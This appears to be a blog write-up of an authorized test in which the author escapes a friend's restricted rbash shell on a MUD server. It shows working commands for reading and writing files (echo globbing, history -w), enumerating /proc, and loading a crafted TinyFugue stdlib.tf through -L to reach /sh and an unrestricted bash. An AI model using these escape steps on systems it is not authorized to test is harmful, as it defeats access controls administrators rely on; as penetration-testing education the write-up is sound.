As a kid, I used to love playing text adventure games; striking landscapes of imagination where a single command could propel you into a thrilling duel with a troll or send you plummeting down a bottomless pit (because who reads the descriptions carefully, right?) I was enthralled by these games. The dangers of Zork, the astonishment of Planetfall, Transylvania with its looming castle, the mind-bending puzzles of Gateway – these were portals to fantastic worlds built entirely with words.

The early Internet became a whole new frontier of interactive fiction for MUDs (Multi-User Dungeons). There was the thrill of collaborating (or competing!) with real people in these sprawling, player-built worlds, and it was addictive!

Fast forward to today's world of hyper-realistic graphics and cinematic cutscenes, and text adventures seem like relics of a forgotten age. So when a friend of mine recently invited me to his personal MUD, I jumped at the opportunity.

Wasting no time, I began uncovering small bugs and unprotected features. Apparently, his MUD supports ssh for secure client access, so he asked if I could put his restricted shell to the test... 😈

Exploring the restricted environment

Upon logging in, I landed straight into a restricted shell. The PS1 prompt suggested it was likely rbash, but there are a few ways we could confirm this. Let's poke around and see what secrets we can uncover!

user@hostname:~$

When faced with restricted shells, I like to get a feel for what I can do. Just walking through the basics helps a lot here. Can we list directory contents with ls? Can we switch directories with cd? Can we pipe output into files using > redirection? etc. It was nice to see all of this was locked down and restricted from use. A few things I was noted down:

  • $PATH was set to a specific path and marked read-only.

  • Slashes were forbidden in callable commands.

  • Output redirection was disabled.

  • Changing directories was disabled.

Here is what would happen if you tried to run something outside of the restricted path:

$ uname -a
rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names

A good start! So far, my friend was doing pretty well with his configs, so it was time to step up the enumeration.

Most folks use export to set the scope of global variables in their terminal session, but they don't realize you can use this to examine what's in the exported space as well. Running it with the -p flag will give you output like this:

$ export -p
declare -x DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/1004/bus"
declare -x HOME="/home/mushusers/user"
declare -x LANG="C.UTF-8"
declare -x LOGNAME="user"
declare -x MOTD_SHOWN="pam"
declare -x OLDPWD
declare -rx PATH="/home/mushusers/user/bin"
declare -x PWD="/home/mushusers/user"
declare -rx SHELL="/bin/rbash"
declare -x SHLVL="1"
declare -x TERM="xterm-256color"
declare -x USER="user"

We can see from the -rx flags that $PATH and $SHELL are both set to read-only, and we can confirm the restricted shell is rbash (as previously guessed). From here, getting an unrestricted shell will require getting read and write access to the filesystem, then finding a way to escalate with that access.

Next, I figured I would see what kind of interesting commands are accessible for later. We can use the compgen command to list every command which is available to the restricted shell's session:

$ compgen -c
if
then
else
elif
fi
case
esac

... OUTPUT OMITTED FOR BREVITY ...

times
trap
true
type
typeset
ulimit
umask
unalias
unset
wait
tf
passwd

Reading files

One neat trick for exploring filesystems in a restricted environment is the ubiquitous echo command. It's rare to find an rbash config that disables it completely, so it's great to check for. We can leverage the shell's built-in globbing feature to get us additional insights, using wildcards to automatically fill in text for our echo command with info from the filesystem. This can be a handy way to peek around and see what the shell might reveal. For example:

$ echo *
bin
$ echo .*
. .. .bash_history .bash_profile .bashrc .profile
$ echo /*
/bin /boot /dev /etc /home /lib /lib32 /lib64 /libx32 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /sys /tmp /usr /var

So far so good. We can also combine echo with input redirection to view the contents of these files. (We just need to ensure we enclose the redirect in quotes to keep whitespace formatting.)

$ echo "$(</etc/issue)"
Ubuntu 22.04.3 LTS \n \l

Excellent! Now we can list and read arbitrary files on the filesystem.

Writing files

With some key functionalities, like output redirection, seemingly limited, it was clear I needed to get a little creative. Things like tee, less, vim and others weren't going to be available, however, we did have the history command! Here was the plan:

  • Tell history to ignore any input starting with "history" so we can do our magick without dirtying out files.

  • Clear our history to gives us a blank buffer.

  • Add content to our buffer.

  • Write the buffer to disk.

We can see an example of this here:

$ HISTIGNORE='history *'
$ history -c
$ Hello, cow!
rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names
$ history -w moo

Now, we should be able to check for a file named moo and echo the contents.

$ echo *
bin moo
$ echo "$(<moo)"
Hello, cow!

Great! With arbitrary read and write access, we are half way there. The next step would be figuring out how to escalate to our unrestricted shell.

Note

Remember, even with a friend's MUD, it's important to be respectful and only perform actions within the scope of their permission.

The obvious choice was to play with our .bashrc and see if we could bypass any of the default restrictions. Our .bashrc was, indeed, restricting our $PATH, but unfortunately overwriting the file seemed to have no effect... Hmm- It seemed my friend had made the rc files immutable. Good on him, again! 🙂

Further enumeration

I decided to look around a bit. We can see files on disk easily, and with a little bit of work, we can read out of /proc to see what processes are running. First, I queried /proc to get process IDs, then I ran these IDs in a loop to read their cmdline files. It looks something like this:

$ echo /proc/*
/proc/1 /proc/102257 /proc/11 /proc/113 /proc/12 /proc/129488 /proc/129611 /proc/129612 /proc/129628 /proc/locks /proc/mdstat /proc/meminfo /proc/misc /prov/version /proc/vmstat /proc/zoneinfo
$ for p in 1 102257 11 113 12 129488 129611 129612 129628; do
  echo $p
  echo "$(</proc/$p/cmdline)"
done
1
-rbash: warning: command substitution: ignored null byte in input
/sbin/init
102257
-rbash: warning: command substitution: ignored null byte in input
tail-fcommand.log
11

113
-rbash: warning: command substitution: ignored null byte in input
/lib/systemd/systemd-journald
12

129488
-rbash: warning: command substitution: ignored null byte in input
sshd: ubuntu [priv]
129611
-rbash: warning: command substitution: ignored null byte in input
sshd: ubuntu@pts/2
129612
-rbash: warning: command substitution: ignored null byte in input
-rbash
129628
-rbash: warning: command substitution: ignored null byte in input
tf

Here, we can see a bunch of processes running, including the TinyFugue MUD client (tf).

I noted down a few things of interest, like control plane agents (maybe I could read configs from these), processes which had world readable/writable paths, and anything else I may want to explore.

After a bunch of digging, I figured the base system wasn't going to give me a whole lot more, so I wanted to dig into this MUD client (tf) a bit. After all, it is one of the two commands my friend wanted guests to be able to run. Lucky for me, since it's an open-source client, I can just download the source and read through it for any interesting bits.

From TinyFugue to shell

There are two particular files which stuck out to me: cmdlist.h, and command.c. These contained some code for running system commands, and a full list of the internal commands the client supported. The one I really wanted was this:

defcmd("SH"          , handle_sh_command          , 0)

I was certain I could open a shell from here. Normally, TinyFugue automatically connects to the predefined server in your configuration. However, for exploring the client's capabilities, we want to prevent that automatic connection. Let's see if there's a simple way to achieve this and focus on interacting with the client's internal commands.

$ tf -h

TinyFugue version 5.0 beta 8
Copyright (C) 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2002, 2003, 2004, 2005, 2006-2007 Ken Keys ([email protected])

tf: illegal option -- h

Usage: tf [-L<dir>] [-f[<file>]] [-c<cmd>] [-vnlq] [<world>]
       tf [-L<dir>] [-f[<file>]] [-c<cmd>] [-vlq] <host> <port>
Options:
  -L<dir>   use <dir> as library directory (%TFLIBDIR)
  -f        don't load personal config file (.tfrc)
  -f<file>  load <file> instead of config file
  -c<cmd>   execute <cmd> after loading config file
  -n        no automatic first connection
  -l        no automatic login/password
  -q        quiet login
  -v        no automatic visual mode
Arguments:
  <host>    hostname or IP address
  <port>    port number or name
  <world>   connect to <world> defined by addworld()

It looks like we can use the -n flag here.

TinyFugue version 5.0 beta 8
Copyright (C) 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2002, 2003, 2004, 2005, 2006-2007 Ken Keys ([email protected].
    net)
Type `/help copyright' for more information.
Using PCRE version 8.39 2016-06-14
Type `/help', `/help topics', or `/help intro' for help.
Type `/quit' to quit tf.

% LC_CTYPE category set to "C.UTF-8" locale.
% LC_TIME category set to "C.UTF-8" locale.
% Loading commands from /usr/share/tf5/tf-lib/stdlib.tf.
% Loading commands from /usr/share/tf5/tf-lib/local.tf.
/sh
% SH: restricted

So close! It looks like TinyFugue loads some config files by default, and these are set to restrict a large amount of internal client commands. Again, great for my friend, but let's see if this can't be bypassed somehow.

I first tried to set my own configs using the -f flag, but this only loads your configs after loading the default stdlib.tf (which is a good thing.) Looking over the help output again, this line grabbed my attention:

-L<dir>   use <dir> as library directory (%TFLIBDIR)

Using the techniques above, I created a file in my home directory called stdlib.tf with the following contents:

/setenv PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
/setenv SHELL=/bin/bash
/sh

Finally, I could run TinyFugue and get a proper shell.

$ tf -n -L$(pwd)
TinyFugue version 5.0 beta 8
Copyright (C) 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2002, 2003, 2004, 2005, 2006-2007 Ken Keys ([email protected].
    net)
Type `/help copyright' for more information.
Using PCRE version 8.39 2016-06-14
Type `/help', `/help topics', or `/help intro' for help.
Type `/quit' to quit tf.

% LC_CTYPE category set to "C.UTF-8" locale.
% LC_TIME category set to "C.UTF-8" locale.
% Loading commands from /home/mushusers/user/stdlib.tf.
% Executing shell: /bin/bash

  Welcome! This is a restricted shell. Type 'tf' to visit the MUD.

user@hostname:~$ uname -a
Linux hostname 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Success! 🏆🎉

I reported my findings and gave a few recommendations on locking this down a bit further. With any luck, I might be rewarded with some in-game gold! 😉 I realize this became a bit of a sidetrack from the actual game I was supposed to be playing, but it sure was a bit of fun!

Come play!

If you like MUDs, MUSHs, or MOOs, come join the Parlor City MUSH! We'd love to have more players 🙂